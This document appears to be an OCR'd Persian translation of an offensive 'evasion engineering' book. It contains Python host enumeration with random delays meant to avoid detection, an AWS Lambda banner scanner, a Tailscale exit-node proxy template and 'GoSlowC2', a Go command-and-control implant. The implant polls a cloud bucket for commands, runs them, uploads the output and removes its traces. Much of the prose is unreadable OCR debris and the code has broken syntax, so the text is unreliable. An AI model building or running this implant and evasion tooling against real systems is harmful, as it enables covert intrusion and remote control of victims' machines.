gid = os.getgid()

user = pwd.getpwuid(uid).pw_name

groups =[g.gr_name for g in grp.getgrall() if userin g.gr_mem)]
primary_group = grp.getgrgid(gid).gr_name

return f'uid={uid}({user}) gid={gid}({primary_group}) groups={','.join(groups)}"
def enum_directory:()

try:

with os.scandir("/home") as entries:

for entry in entries:

print(entry.name)

#Add small random delay between each entry to avoid pattern
time.sleep(random.uniform(0.1, 0.3))

except PermissionError:

pass

#Run once with delay between operations.
enum_directory()

#Single random delay between 5 and 7 minutes

delay = random.uniform(¢Y+ ¥+ )

time.sleep(delay)
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#Get user info once.
user_info = get_user_info()
print(user_info)

id 5 ls cadaiee )0 LINUX 2 coiise sniosts WOl 521 8 31 oaliind VoY Cass yg

Sl id Ot s home/ G Is Gl ) sa) Jalae G Sl o)

s.\:m%A\Pdpcmuaﬂmus.ﬁm)ALLM}E":M\J;L;}J)A\)G;JP‘)\.ﬁu\pﬂ&yﬁa&\d\ﬁ\e&;ﬁ
Cal sAd 2l u\..l} A-Y L“_u.u)@ JJ"\SJ}L:O\AA

runner
uid=1000(runner) gid=1000(runner) groups=
EDR Casdii )l s)n repluit sl jiiilS o ol (sla jali b lacla s (s sal 1A o yed

ohd 5 a0 SaS iy G e () EDR S b5 48 LOLBIN 43l sl sal i 5l laiad 4g 0S4 5 ) o
A3 e SIS | (saigle) g (e Suen (sla Sl

“Z . PN
s OIRAL slaala ) 2 3l s 5 m
el 4y 4S8 S auiS e Coda Sl i 1 aald WU slani s el sla ) 30l Ay el 4y Al 30«
il aiile Uy U oSl Jlaia) jieS 48 a5 ealdin) et pen ) Al € 4S5 258 b Jlabad sl jal ) Sl
Amp. dile ciyla

d.IﬁlA t_gs_.g Lf)\ﬁy“l-’ cd\:m LE\,)" ‘WindOWS _)J Q_MLA_AIA Lg‘)\ﬁ(al_l _)A tj‘)_ASAA GAﬁ_uA_u G\Ad.}u J..)ﬁ:a ﬁd J_)S_U)
aa e 2 Al Sl Gl b e je gog e (6l S And O g 1S e S gl g2l s gl 4 |saio.exe
it Jlad Adines (ia Bk ) shn A3 o s lulaa S Alls 0 ) Windows (s Sl

L Jé 5 S

GSan 2a Ul sl (5 )10y e SLCSESE o adaila lacis gasa Jilas 1) la b QRS g (liine (i 5K
O 48 slael&i 5 AL Ll ol 415X Bae MS17-010 5 MS08-067 sla sy . a8al e S S
A Os D eu el MBY Y BMBY + 4 ladi L 50 S 0 ey po il g5 Sn jh (Sllee abidls
Wl IR (sl 1 Gl 38 e 2y (Sl ) 1y (mald o il (slaadlind 5V (sl ié EDR (slacnlyw
A e Jise S (59 (b g | adadla

e sbdn s ialS sl ) )3 Ll il )l aniS e dna i | ) S e sl MBY ) (lal b Sy S
sala ol 4-Y Q.u)@)dﬂ\s‘)jkum c.l.us‘sa‘ul_m\ &ﬂhdﬁdata O 4 \J s disalatwl Lal &J).um u.ﬁ‘)s‘);a
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#include <stdio.h<
/[Create array for TMB.
char padding[1024 * 1024;{) =[() - Y+ YE * VYY) ]} =
int main} ()
/IUse the array so compiler does not optimize.
printf("Padding starts with: %d\n", padding[0]);
return O;
{
/~workspace$ gcc main.c -o main.o
/~workspace$ ls -lah main.o
-rwxr-xr-x 1 runner runner 1.1M Jun 18 03:43 main.o
/~workspace$
C 0 dLdS ey saeala MB) (a8 4dlial 192 i yed

b aSod JUEE) Gus 3 lee oma )y Jb slacua sine 3l ala i 48 8 e S il ) Jild (I3 il (g 38 il )
Ada e Jsh Aol o glaclild glac wl e wlad )y o S pne il a8 Sy (59 (S
S Gant a0 S (il 0 A S (ALl

S slzaal (3 K 4ilial

Sl et 5 Hhad (SAS 5 o b da sl (g1 e ol ) S Oimed 5l (g medly GBI L (5 S (Ll
Al (Gt st Jlis 43 5 S e 4 lia A8 WL L ) ) & Cle DUl [PS b sise oA 5 0 GBEDR
G ) S i A a5 | () Lo Ll S e ool Lmal 3 sa L sa o 33 sl ol € 1 b slaass (A
S e Jilai la a5 (adila o g ) 0 Lags jlaiali sl |y (&) 8 bl i () jae i

ol Yaev s a3 Thawte b «Verisign «DigiCert aile slaic) 3 g0 821 59 i 5 S slaal a1 &
sl nl . n) 5l b )l Jalaw USB glinds (HSM) ) 8lian Cuial (slad s 5la ata 3l 5 2 980 & 5
OV eeY e ped sl Sl e dx i daiae (laadlA UK 4 Ll ait s gldia Jaleat i w pla) g Ll
S e oaldinl Windows ik S sbaadl ) DigiCert 2 S Su L signtool.exe

signtool.exe sign /csp "DigiCert Signing Manager KSP" /kc key1 /f example.crt /tr
http://timestamp.digicert.com /td SHA256 /fd SHA256 signthis.util.exe
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Figure 2-1 compares binary structures in C and Go.
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Figure 2-1: Comparing C and Go binary siring storage methods
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PART II

HANDS-ON EVASIVE TOOL
DEVELOPMENT
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ENUMERATING WITH TRAFFIC
REDIRECTION
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import json
import urllib.request
from datetime import datetime
def lambda_handler(event, context):

headers} =
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'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36\
(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36'

{

try:

req = urllib.request.Request('https://ifconfig.me/all.json', headers=headers)
with urllib.request.urlopen(req, timeout=10) as response:
data = json.loads(response.read().decode('utf-8"))

ip = data['ip_addr']

result} =

ip':ip,

"timestamp': datetime.now().isoformat, ()

‘'user_agent': headers['User-Agent']

{

return}

'statusCode': 200,

'headers} '

‘Content-Type': 'application/json’

A

'‘body': json.dumps(result)

{

except Exception as €:

return}

'statusCode': 500,

'‘body": json.dumps})

'error': str(e)

(
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import json

import socket

import ssl

import urllib.request

from datetime import datetime
import concurrent.futures
import logging

#Set up logging.

logger = logging.getLogger()
logger.setLevel(logging.INFO)
def get_banner(host, port, timeout=2):

try:
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with socket.create_connection((host, port), timeout=timeout) as sock:
if port == 443:

context = ssl.create_default_context()

context.check_hostname = False

context.verify_mode = ssLCERT_NONE

with context.wrap_socket(sock, server_hostname=host) as ssock:
return}

'cert': dict(ssock.getpeercert(binary_form=True)),

'version': ssock.version()

{

else:

sock.send(b"HEAD / HTTP/1.0\r\nHost: " + host.encode() + b"\r\n\r\n")
return sock.recv(1024).decode('utf-8', errors='ignore')

except Exception as e:

return f"Error: {str(e)}"

def get_http_headers(url, timeout=2):

try:

req = urllib.request.Request)

url,

headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\
{revv, v/

(

with urllib.request.urlopen(req, timeout=timeout) as response:

return dict(response.headers)

except Exception as e:

return f"Error: {str(e)}"
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def get_webpage_content(url, timeout=2):

try:

req = urllib.request.Request)

url,

headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\
{roxy, v/

(

with urllib.request.urlopen(req, timeout=timeout) as response:
return response.read().decode('utf-8', errors='ignore')[ ¢ + 41:]
except Exception as e:

return f"Error: {str(e)}"

def scan_port(target, port):

logger.info(f"Scanning {target}:{port}")

protocol = 'https' if port == 443 else 'http’

url = f'{protocol}://{target}:{port}

result} =

'‘banner': get_banner(target, port),

'headers': get_http_headers(url),

‘content': get_webpage_content(url) if portin [80, 443] else None
{

logger.info(f"Results for {target}:{port} - {ison.dumps(result, default=str)}")
return result

def scan_target(target):

logger.info(f"Starting scan for target: {target}")

results} =

'target': target,
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"timestamp': datetime.now().isoformat,()
‘ports{} '
{

with concurrent.futures.ThreadPoolExecutor(max_workers=3) as executor:
future_to_port} =

executor.submit(scan_port, target, port): port

for portin[A+As [ £EY A4

{

for future in concurrent.futures.as_completed(future_to_port):
port = future_to_port[future]

try:

results['ports'][port] = future.result()

except Exception as e:

error_msg = f"Error: {str(e)}"

logger.error(f"Error scanning {target}:{port} - {error_msg}")
results['ports'][port] = error_msg

return results

def lambda_handler(event, context):
logger.info(f"Received event: {json.dumps(event)}")
targets = event.get('targets’, [])

if not targets:

return}

'statusCode': 400,

'body': json.dumps({'error': 'No targets provided'})

{

results[] =
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with  concurrent.futures.ThreadPoolExecutor(max_workers=min(len(targets), 5)) as
executor:

future_to_target = {executor.submit(scan_target, target): target for target in targets}
for future in concurrent.futures.as_completed(future_to_target):

target = future_to_target[future]

try:

result = future.result()

results.append(result)

logger.info(f"Completed scan for {target}")

except Exception as e:

error_result} =

'target': target,

‘error': str(e)

{

results.append(error_result)

logger.error(f"Error scanning target {target}: {str(e)}")

logger.info(f"Final results: {json.dumps(results, default=str)}")

return}

'statusCode': 200,

'‘body': json.dumps})

'message': f'Scan completed for {len(targets)} targets,’

'results': results

J{default=str(
{
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AWSTemplateFormatVersion: '2010-09-09'

Description| :

EC2 Proxy Instance with Tailscale and SSM management in us-east-1

NOTE: SSM Quick Setup must be enabled in the account before using this template.
See: https://docs.aws.amazon.com/systems-manager/latest/userguide\
/systems-manager-quick-setup.html

Parameters:
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TailscaleAuthKey:

Type: String

Description: 'Auth key from Tailscale admin console (starts with tskey-)’

NoEcho: true
InstanceType:
Type: String
Default: t3.micro
AllowedValues:

-t3.micro

Description: 'Free tier eligible instance type for the proxy server’

LatestAmild:

Type: 'AWS::SSM::Parameter::Value<AWS::EC2::Image::Id'<

Apsec.ir

Default: '/aws/service/ami-amazon-linux-latest/al2023-ami-kernel-default-x86_64'

Description: 'SSM parameter for latest AL2023 x86_64 standard AMI’

Resources:

ProxyVPC:

Type: AWS::EC2::VPC
Properties:

CidrBlock: 192.168.10.0/24
EnableDnsHostnames: true
EnableDnsSupport: true
Tags:

-Key: Name

Value: rttd-tailscale-proxy-vpc
-Key: project

Value: rttd
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InternetGateway:

Type: AWS::EC2::InternetGateway
Properties:

Tags:

-Key: Name

Value: rttd-tailscale-proxy-igw

-Key: project

Value: rttd

AttachGateway:

Type: AWS::EC2::VPCGatewayAttachment
Properties:

Vpcld: !Ref ProxyVPC

InternetGatewayld: |Ref InternetGateway
PublicSubnet:

Type: AWS::EC2::Subnet

Properties:

Vpcld: !Ref ProxyVPC

CidrBlock: 192.168.10.0/24
AvailabilityZone: !Select [0, !GetAZs 'us-east-1']
MapPubliclpOnLaunch: true

Tags:

-Key: Name

Value: rttd-tailscale-proxy-subnet

-Key: project

Value: rttd

PublicRouteTable:
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Type: AWS::EC2::RouteTable
Properties:

Vpcld: Ref ProxyVPC

Tags:

-Key: Name

Value: rttd-tailscale-proxy-rtb

-Key: project

Value: rttd

PublicRoute:

Type: AWS::EC2::Route

DependsOn: AttachGateway
Properties:

RouteTableld: !Ref PublicRouteTable
DestinationCidrBlock: 0.0.0.0/0
Gatewayld: !Ref InternetGateway
PublicSubnetRouteTableAssociation:
Type: AWS::EC2::SubnetRouteTableAssociation
Properties:

Subnetld: !Ref PublicSubnet
RouteTableld: !Ref PublicRouteTable
ProxySecurityGroup:

Type: AWS::EC2::SecurityGroup
Properties:

GroupDescription: Security group for Tailscale proxy with deny all inbound
Vpcld: 'Ref ProxyVPC

SecurityGrouplngress: [] # Empty list means deny all inbound.
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SecurityGroupEgress:
-IpProtocol: -1

FromPort: -1

ToPort: -1

Cidrlp: 0.0.0.0/0

Tags:

-Key: Name

Value: rttd-tailscale-proxy-sg
-Key: project

Value: rttd
ProxylnstanceRole:

Type: AWS::IAM::Role
Properties:

RoleName: rttd-tailscale-proxy-role
AssumeRolePolicyDocument:
Version: '2012-10-17'
Statement:

-Effect: Allow

Principal:

Service: ec2.amazonaws.com
Action: sts:AssumeRole
ManagedPolicyArns:
-arn:aws:iam::aws:policy/AmazonSSMManagedlnstanceCore
Tags:

-Key: Name

Value: rttd-tailscale-proxy-role
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-Key: project

Value: rttd
ProxylnstanceProfile:

Type: AWS::IAM::InstanceProfile
Properties:

Path/ :

Roles:

I -Ref ProxylnstanceRole
Proxylnstance:

Type: AWS::EC2::Instance
DependsOn: AttachGateway
Properties:

InstanceType: |Ref Instancelype
Imageld: |Ref LatestAmild

Subnetld: |Ref PublicSubnet

lamlnstanceProfile: !Ref ProxylnstanceProfile

SecurityGrouplds:

! -Ref ProxySecurityGroup
Tags:

-Key: Name

Value: rttd-tailscale-proxy
-Key: project

Value: rttd

UserData:

Fn::Base64: !Sub|

['#bin/bash
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#Install Tailscale

curl -fsSL https://tailscale.com/install.sh | sh

#Enable IP forwarding for exit node functionality.

echo 'net.ipv4.ip_forward = 1' | tee -a /etc/sysctl.conf

echo 'net.ipv6.conf.all.forwarding = 1' | tee -a /etc/sysctl.conf
sysctl -p

#Start Tailscale with auth key and advertise as exit node.
tailscale up --authkey=%{TailscaleAuthKey} --advertise-exit-node
Outputs:

Vpcld:

Description: 'ID of the created VPC'

Value: !Ref ProxyVPC

Subnetld:

Description: 'ID of the created subnet’

Value: Ref PublicSubnet

Instanceld:

Description: 'ID of the created EC2 instance’

Value: !Ref Proxylnstance

InstanceArn:

Description: 'ARN of the created EC2 instance’

Apsec.ir

Value: !Sub 'arn:aws:ec2:${AWS::Region}:${AWS::Accountld}.instance/${Proxylnstance}'

InstancePubliclp:

Description: 'Public IP address of the instance’
Value: !GetAtt Proxylnstance.Publiclp
InstancePrivatelp:

Description: 'Private IP address of the instance’
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Value: !GetAtt Proxylnstance.Privatelp

RoleArn:

Description: 'ARN of the created IAM role’

Value: !GetAtt ProxylnstanceRole.Arn

SecurityGroupld:

Description: 'ID of the created security group'

Value: |Ref ProxySecurityGroup

SSMCommand:

Description: 'Command to connect via SSM Session Manager’

Value: !Sub "aws ssm start-session --target ${Proxylnstance}"
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AWSTemplateFormatVersion: '2010-09-09'
Description: 'CloudFormation template for RTTD Lambda Scanner with Step Functions
orchestration’

Resources:

RttdLambdaScannerRole:

Type: 'AWS::IAM::Role’

Properties:

RoleName: rttd-lambda-scanner-role
AssumeRolePolicyDocument:

Version: '2012-10-17"

Statement:

-Effect: Allow

Principal:

Service: lambda.amazonaws.com
Action: sts:AssumeRole
RttdLambdaScannerPolicy:

Type: 'AWS::|IAM::Policy’

Properties:

PolicyName: rttd-lambda-scanner-policy
PolicyDocument:

Version: '2012-10-17"
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Statement:

-Effect: Allow
Action:

-logs:CreateLogGroup
-logs:CreateLogStream
-logs:PutLogEvents

Resource:

| -Sub 'arn:aws:logs:${AWS::Region}:${AWS::Accountld}:log-group:/aws
/lambda/rttd-lambda-scanner™:
Roles:

I -Ref RttdLambdaScannerRole
StepFunctionsRole:

Type: AWS::IAM::Role
Properties:

RoleName: rttd-stepfunctions-role
AssumeRolePolicyDocument:
Version: '2012-10-17"

Statement:

-Effect: Allow

Principal:

Service: states.amazonaws.com
Action: sts:AssumeRole
StepFunctionsPolicy:

Type: AWS::IAM::Policy
Properties:

PolicyName: rttd-stepfunctions-policy
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PolicyDocument:

Version: '2012-10-17"

Statement:

-Effect: Allow

Action:

-lambda:InvokeFunction

Resource: !|GetAtt RttdLambdaScanner.Arn
Roles:

! -Ref StepFunctionsRole
RttdLambdaScanner:

Type: 'AWS::Lambda::Function’
Properties:

FunctionName: rttd-lambda-scanner
Handler: index.lambda_handler
Role: GetAtt RttdLambdaScannerRole.Arn
Code:

ZipFile| :

import json

import socket

import ssl

import urllib.request

from datetime import datetime
import concurrent.futures

import logging

logger = logging.getLogger()
logger.setLevel(logging.INFO)

67

Apsec.ir

Ol Gl sl sala



Evasion Engineering (U8 i) Apsec.ir

def get_banner(host, port, timeout=2):

try:

with socket.create_connection((host, port), timeout=timeout) as sock:
if port == 443:

context = ssl.create_default_context()

context.check_hostname = False

context.verify_mode = ssLCERT_NONE

with context.wrap_socket(sock, server_hostname=host) as ssock:
return}

‘cert': dict(ssock.getpeercert(binary_form=True)),

'version': ssock.version()

{

else:

sock.send(b"HEAD / HTTP/1.0\r\nHost: " + host.encode() + b"\r\n\r\n")
return sock.recv(1024).decode('utf-8', errors='ignore')

except Exception as e:

return f"Error: {str(e)}"

def get_http_headers(url, timeout=2):

try:

req = urllib.request.Request)

url,

headers={'"User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64(
AppleWebKit/537.36'{

(

with urllib.request.urlopen(req, timeout=timeout) as response:

return dict(response.headers)
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except Exception as e:

return f"Error: {str(e)}"

def get_webpage_content(url, timeout=2):

try:

req = urllib.request.Request)

url,

headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64" (
'‘AppleWebKit/537.36'{

(

with urllib.request.urlopen(req, timeout=timeout) as response:
return response.read().decode('utf-8', errors='ignore')[ ¢ + 41:]
except Exception as e:

return f"Error: {str(e)}"

def scan_port(target, port):

logger.info(f"Scanning {target}:{port}")

protocol = 'https' if port == 443 else 'http’

url = f'{protocol}://{target}:{port}

result} =

'‘banner': get_banner(target, port),

'headers': get_http_headers(url),

‘content': get_webpage_content(url) if portin [80, 443] else None
{

logger.info(f"Results for {target}:{port} - {ison.dumps(result, default=str)}")
return result

def scan_target(target):

logger.info(f"Starting scan for target: {target}")
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results} =

'target': target,

"timestamp': datetime.now().isoformat,()
‘ports{} '

{

with concurrent.futures.ThreadPoolExecutor(max_workers=3) as executor:
future_to_port} =

executor.submit(scan_port, target, port): port

for portin[A+As [ £EY A4

{

for future in concurrent.futures.as_completed(future_to_port):
port = future_to_port[future]

try:

results['ports'][port] = future.result()

except Exception as e:

error_msg = f"Error: {str(e)}"

logger.error(f"Error scanning {target}:{port} - {error_msg}")
results['ports'][port] = error_msg

return results

def lambda_handler(event, context):

logger.info(f"Received event: {json.dumps(event)}")

targets = event.get('targets', [])

if not targets:

return}

'statusCode': 400,

'body': json.dumps({'error': 'No targets provided'})
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{

results[] =

with concurrent.futures.ThreadPoolExecutor(max_workers=min(len(targets), 5))

as executor:

future_to_target = {executor.submit(scan_target, target): target for target
in targets{

for future in concurrent.futures.as_completed(future_to_target):
target = future_to_target[future]

try:

result = future.result()

results.append(result)

logger.info(f"Completed scan for {target}")

except Exception as e:

error_result} =

'target': target,

‘error': str(e)

{

results.append(error_result)

logger.error(f"Error scanning target {target}: {str(e)}")
logger.info(f"Final results: {json.dumps(results, default=str)}")
return}

'statusCode': 200,

results': results

{

Runtime: python3.9

Timeout: 30
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MemorySize: 128

RttdScannerStateMachine:

Type: AWS::StepFunctions::StateMachine

Properties:

StateMachineName: RttdScannerOrchestrator

RoleArn: !GetAtt StepFunctionsRole.Arn

DefinitionString: !Sub
-| -
}

"Comment": "RTTD Scanner Orchestrator,”

"StartAt": "Processlnput,”
"States} :"
"Processlnput} :"

"Type": "Map,"
"ltemsPath": "$.targets,”
"MaxConcurrency": 10,
"Iterator} :"

"StartAt": "BatchTargets,"
"States} ;"

"BatchTargets} :"

"Type": "Task,"
"Resource": "${lambdaArn},”
"Parameters} ;"
"targets"$" :"$.

A

"End": true
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"End": true

{
{

{
} -lambdaArn: !GetAtt RttdLambdaScanner.Arn{

Outputs:

LambdaFunctionArn:

Description: 'ARN of the created Lambda function’
Value: !GetAtt RttdLambdaScanner.Arn
StateMachineArn:

Description: 'ARN of the Step Functions state machine’
Value: |Ref RttdScannerStateMachine
TestPayloadExample:

Description: 'Example test payload for manual execution’
Value| :

}

"targets] :"

"lportquiz.net,["

"testphp.vulnweb.com[”

[
{

Sl )8 Ll CloudFormation <lld 1o-Y s jd
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Figure 3-8: CloudFormation’s stack status menu
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Figure 3-9: The Tailscale admin console with your local host agent status and EC2
instance
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Figure 3-13: The Step Functions state machine execution menu in the AWS Management
Console
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Figure 3-15: Successfully executing a Step Function and viewing results for the batch job
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Figure 4-10: Creating a service account key
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Figure 4-11: Allowing principals access to project
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Resource

o xtecab

Add principals

Principals are users, groups, domains, or service accounts. Learm more

n IAM 2

New principals *
gonlowo2@xtec-lab tam gsorviceaccount com € (2]

Assign roles

Roles are compased of sets of permissions and determine what the principal can do
with this resource. Learn more {

Role * 1AM condition (optional) @ i
rid-c2amplant-role ¥ + ADD 1AM CONDITION

GoSlowC2 Implant Roke

<+ ADD ANOTHER ROLE lk

Figure 4-12: Granting access fo the service account and assigning role
permissions
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B5 Cloud Storage 8 & Createabucket
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Labels (optional v

Figure 4-13: Creating a bucket in the Cloud Storage service
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Figure 4-14: Setting bucket-level access permissions

Qe prhane 3 (i (sl ) s aadat 1) £-8 S
5 VS Code e cGO ipamy sladis 81 L 3 Kl 5 o i ga L 48 38 )& (8 csans Jal e (51
e S uail ) Go 2
GO laSiul s 5 adsSle skl

DY laia 4 ecdn slaldad o) giedy | s disalitu) (sla e g (gaucalld Jili GO 4AS Gl sdiad ) 31 s gaa U
gOSIOWE2- 4 52 xS e 4em 53 caanl o cpl Sl liial (g 28 e Jlae ) 431,808 0 ) sk | jal ey 5 il

Uil Gl sl eala
92



Evasion Engineering (U8 i) Apsec.ir

25l (https://github.com/dc401/nostarch-evasion-engineering) J—=aé ) &l 5 1) mvp-1.0
il ) G sl adig o) LS

go.mod
go.sum
goslowc2-mvp-1.0.go ¢

bl lasa i 4o 5L (s 500y S loal ealal 5 i ) ATl 4Gy S 5 1 Wi ol ) e
J aile | go.mod il fe ol 45 Cy yade ) 2 GO Jsdle s ) (iR 3l 50 3 5a 56 go.mod
Gl (5] oadodliinl GO 4dmwi (pinad 5 lad sl Sl 5 s 1,80l 40 o5l requirements.txt

S e G 05

Sl s el g3 8 go. s dild ) iy slaal )l go.mod L2 sl ol as s

1S 2l sa sl Jead a slaelBiia Sl 2 S ladlie s1al ) ) sgke b )l liaee Lad
go mod init modulename // Initiates a namespace

go mod tidy // Removes and adds dependencies as you update your .go file
go get // Downloads missing items between .go and the go.mod file

go run filename // Runs in interpreted mode

go build filename // Compiles to the host system architecture (PE or ELF)

S 2 80.MOd 2 1) disSle AUl e aghily 58 s ldae (550 1D Le sladild a8 e Sl R
go get ¢ ) w3 e (S | ol (sliad aine ) (50 slalha (uils go mod init modulename ! 2!
o Sl 5 (53 cpaiSica dpmai | 2k (g Le a3 S e 1al 1l g 555 ) | go run filename.go wu s
PO SENT W YT salal ¢S Gl el o) 13 ) S e At ﬁ\ Ja ol b dilead O J8 5 Go 4awi

R dien Aag) Wadion (p AT L 4dis (et Jilvg (e Jsba 0 48 il

AL Gl XS (3% 6

dﬁd‘:\_ﬁx\-i Qﬂ)@)d&.\lﬂ@\)\ﬂAH}ﬁMQgL@JJm\}SGAculAM LgLAJ}M)MLgJ\L\o\Jh
Sl Ay b GBS

package main
) import
"bufio”
"context”
"fmt”
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"math/rand”

"os"

"os/exec”

"strings”

"time”

"cloud.google.com/go/storage”

(

.Set auth state from JSON service account GCP //

} Ofunc init

0s.Setenv("GOOGLE_APPLICATION_CREDENTIALS", "FILENAME-SVC-ACC.json") // Type
filepath. 1

{

.uploadFile uploads an object //

} func uploadFile(bucket, object string) error
"bucket := "bucket-name //

"object :="object-name //

()ctx := context.Background

client, err := storage.NewClient(ctx)

}if err 1= nil

return fmt.Errorf("storage.NewClient: %v", err)

{

()defer client.Close
.Open local file //

f, err := 0s.0pen("./output.txt")

Ol Gl sl sala
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}if err 1= nil
return fmt.Errorf("0s.Open: %Vv", err)

{
()defer f.Close

ctx, cancel := context.WithTimeout(ctx, time.Second*50)
()defer cancel

o :=client.Bucket(bucket).Object(object) // Client 2
.Upload an object with storage .Writer //

wc := 0.NewWriter(ctx)

}if _, err=io.Copy(wc, f); err != nil

return fmt.Errorf("io.Copy: %v", err)

{

}if err := we.Close(); err != nil

return fmt.Errorf("Writer.Close: %V", err)

{

return nil

{

No return needed //

} func runBin(cmdbin string, cmdarg string)
arguments //

"cmdbin :="whoami //

"" =: cmdarg //

cmd := exec.Command("ls", "-lah") 3 //
command constructor //

arg_len :=len(cmdarg)

}ifarg_len<1

95
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cmd := exec.Command(cmdbin)
.Open the outfile for writing //

outfile, err := 0s.Create("./output.txt")

}if err 1= nil
panic(err)
{

()defer outfile.Close

()stdoutPipe, err := cmd.StdoutPipe

}if err 1= nil
panic(err)
{

writer := bufio.NewWriter(outfile)
()defer writer.Flush

()err =cmd.Start

}if err I=nil

panic(err)

{

go io.Copy(writer, stdoutPipe)

()emd.Wait

{
}ifarg_len>0

cmd := exec.Command(cmdbin, cmdarg)

.Open the outfile for writing //
outfile, err := 0s.Create("./output.txt")
}if err = nil

panic(err)

96
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{

()defer outfile.Close

()stdoutPipe, err := cmd.StdoutPipe

}if err 1= nil
panic(err)
{

writer := bufio.NewWriter(outfile)
()defer writer.Flush

()err =cmd.Start

}if err 1= nil

panic(err)

{

go io.Copy(writer, stdoutPipe)
()emd.Wait

{

{

Specify the input file single-line command return string. 4 //
} func readCmd(inputfilename string) string

file_input, _ := os.ReadFile(inputfilename)

cmd_str := string(file_input)

stripped_cmd := strings.TrimSuffix(cmd_str, "\r\n")

return stripped_cmd

{

Ingest input.txt for parsing through readCmd and runBin. 5 //

} func downloadFile(bucket, object string, destFileName string) error

"bucket :="bucket-name //

97
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"object :="object-name //

"destFileName :="file.txt //

()ctx := context.Background

client, err := storage.NewClient(ctx)

}if err 1= nil

return fmt.Errorf("storage.NewClient: %v", err)

{

()defer client.Close

ctx, cancel := context.WithTimeout(ctx, time.Second*50)
()defer cancel

f, err := 0s.Create(destFileName)

}if err I=nil

return fmt.Errorf("os.Create: %v", err)

{

rc, err := client.Bucket(bucket).Object(object).NewReader(ctx)
}if err I=nil

return fmt.Errorf("Object(%q).NewReader: %v", object, err)
{

()defer rc.Close

}if _, err:=io.Copy(f, rc); err != nil

return fmt.Errorf("io.Copy: %v", err)

{

} if err = f.Close(); err != nil

return fmt.Errorf("f.Close: %v", err)

{

return nil
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{

} ()func main

Main function section 6 //

Bucket and object details //

"var bucket string = "YOURBUCKET

"var object_input string = "input.txt

"var object_output string = "output.txt

Find a random seeded polling period 1 and 10 seconds 7 //

var maxsec int=10

var minsec int =1

rand.Seed(time.Now().UnixNano())

random_sec := (rand.Intn(maxsec-minsec) + minsec)

.Sleep for random time in secs and poll the bucket for input.txt //
Setting for loop with stop conditions for emergencies. Remove conditions for //
.infinite loop

varcycleint=0

}++fori:=0;i<2;i

time.Sleep(time.Duration(random_sec) * time.Second)

cycle +=i

fmt.Println("cycle: ", cycle)

fmt.Println("cmdfile to parse: ", object_input)
fmt.Println("outputfile to check: ", object_output)
downloadFile(bucket, "input.txt", "input.txt") // Stage to disk demo only if
.you wantin pure memory DIY

run_cmd := readCmd(object_input)

.runBin(run_cmd, "") // Use null string for no argument commands
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.uploadFile(bucket, object_output) // Return results to view in GCP storage
os.Remove("input.txt") // Clean up file on each iteration vs. signal

.run on exit

{
\

{

.Run go get cloud.google.com/go/storage if doing from scratch //
GCP (s bue_pad aus jl odliind b Go 40k Diliay) DS V-8 i yed

S ) GalS L 1yal 51U (s ol 5 JSON o piesd 2IS Ul o1 Jald) ) (lia st L 1y Lagy Bl ol e
2R i
M}%JS@&})-&SDKGCP L;ud_ou\ bJ\A’.\.u\DGCPZ d)@bﬁé@@ad@%%@d@"\ L’LA_JA
L;\_).’LA.&C\.UA J\);\ %Eu\ycﬂnl.&tl;)\ JSON d:ﬂ_% J.QJSGA )\ﬁ\jﬁwd};ydui\.\hﬁﬂ \Jl.ﬂ:\.u\ Cu pda
AiSoe e 05500 Ay (o i
35S oo Sl WINAPI (oo syl sal i 3 oaldiad U 1 ladiy) 53 4S (2  salii ol exec 3 GO 4w I S (4
42y ol 4y gale 4Ll gl ) SG aiile Al A (gl ja) (a5 bash b ecmd.exe ol slad
Aehdaglie o Ko anl i e e 68y 1€ e S el 43 5 ey Sl 51 ya]

2w ) outputtxt JHU Sa 5 2 e 4 el | jnputitxt JHU s Slsise Gled )l 5 ol A a5
£ i€ e ol AL ) G (s b udd

52 52 0 GCP s )—mo pad 2w ) g el &) o sicay | ) Wadild aS i jla 8 o gLl g o glils aal 53 el )
50 3 5h Sanpd 43 oo 31 i 1l 31 U8 i et (5 s =3 slablob gyl 4S Ll )0 iy sie

L:}\_).&JMSGA@\:}J‘)}&JAW @.\.u)ho_)\.}_)ﬁ LS“)-.’\JLL‘.;Q:"—*"‘J A AJ\J}U.u\ main @U c\.a.&@uu.a‘);‘
slon Ak LA cpl (s e A slablob Cwale Jidods caa Jb 23S e Sy e )y oa Sl al Gl B 8 )z A
6 )Sb ) main &L ol e Lol 6y se Cnl 5o 2l Cada ol ) 1 g 258 2 sl (S 4y 351

gl e il 8 (b e

il i Y ol 02 b araii 4l Vo 5 ) G alaal 5ali G Laa a0 o) dalh (o i i Syl 4S A0S Aa
_A:\:\Soqu;m\a,glji)q@lgq\)\)ﬁw\j\gﬁwgﬁ\ﬁ\#qﬁg@auﬁ)ﬁbuw\

1€ |l \Jﬁjd)\fdﬁ&bé&a:\u@mm‘giémd@_ﬁjd TN
echo'ls -lah' > input.txt # macOS and Linux users %

echo "tasklist" > input.txt # Windows users <
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-¢ MJJ‘\SJ}EQW ‘.J.\.\S .JJX:J (d‘M}Jﬁ)@AJJM) GCP ngua):t;.l.\mug) B \) RPN input_txt d:\l.s
AL A ol ol sLAA a o Cilial 4 L gle 8 Jle ) o sad Qi 35 Sl 8 ) sali el gl Vo
A b gl il U ani€ e 2 bl cudilaaly aa a4y ) 053 slagle i Lad 4S aily

Buckets ) chowgolangc? h

CREATE FOLDER JPLOAD ~ TRANSFER DATA -~ OTHER %

Filter by namw prefox only » = Filter Fit

O Marre cte
O @ ngutn i

Figure 4-15: The bucket object listing in Cloud Storage
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go mod init goslowc2-mvp %
go mod tidy %
go get %
go run goslowc2-mvp %
AR 3 et 4yl et ) 4dbiie oA A s (3950 Gox aaa S
Cycle: 0
Command file: input.txt
Output file: output.txt

AL Js) 43 a3 pu g S a5l gl e ) input.xt 48 a4 5 43 S5k 363 Google Cloud JswiS 4
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uckets > chowgolange?
REATE FOLDER UPLOAD - TRANSFER DATA ~ OTHER SERY
Filter by name peefix only » = Fiher ¥ t L}
O 8mpam
0O @ '
0O ms

Figure 4-16: Viewing the contents of the storage bucket
(6 )buo HuAd s il gine oaalie 1) T-€ IS
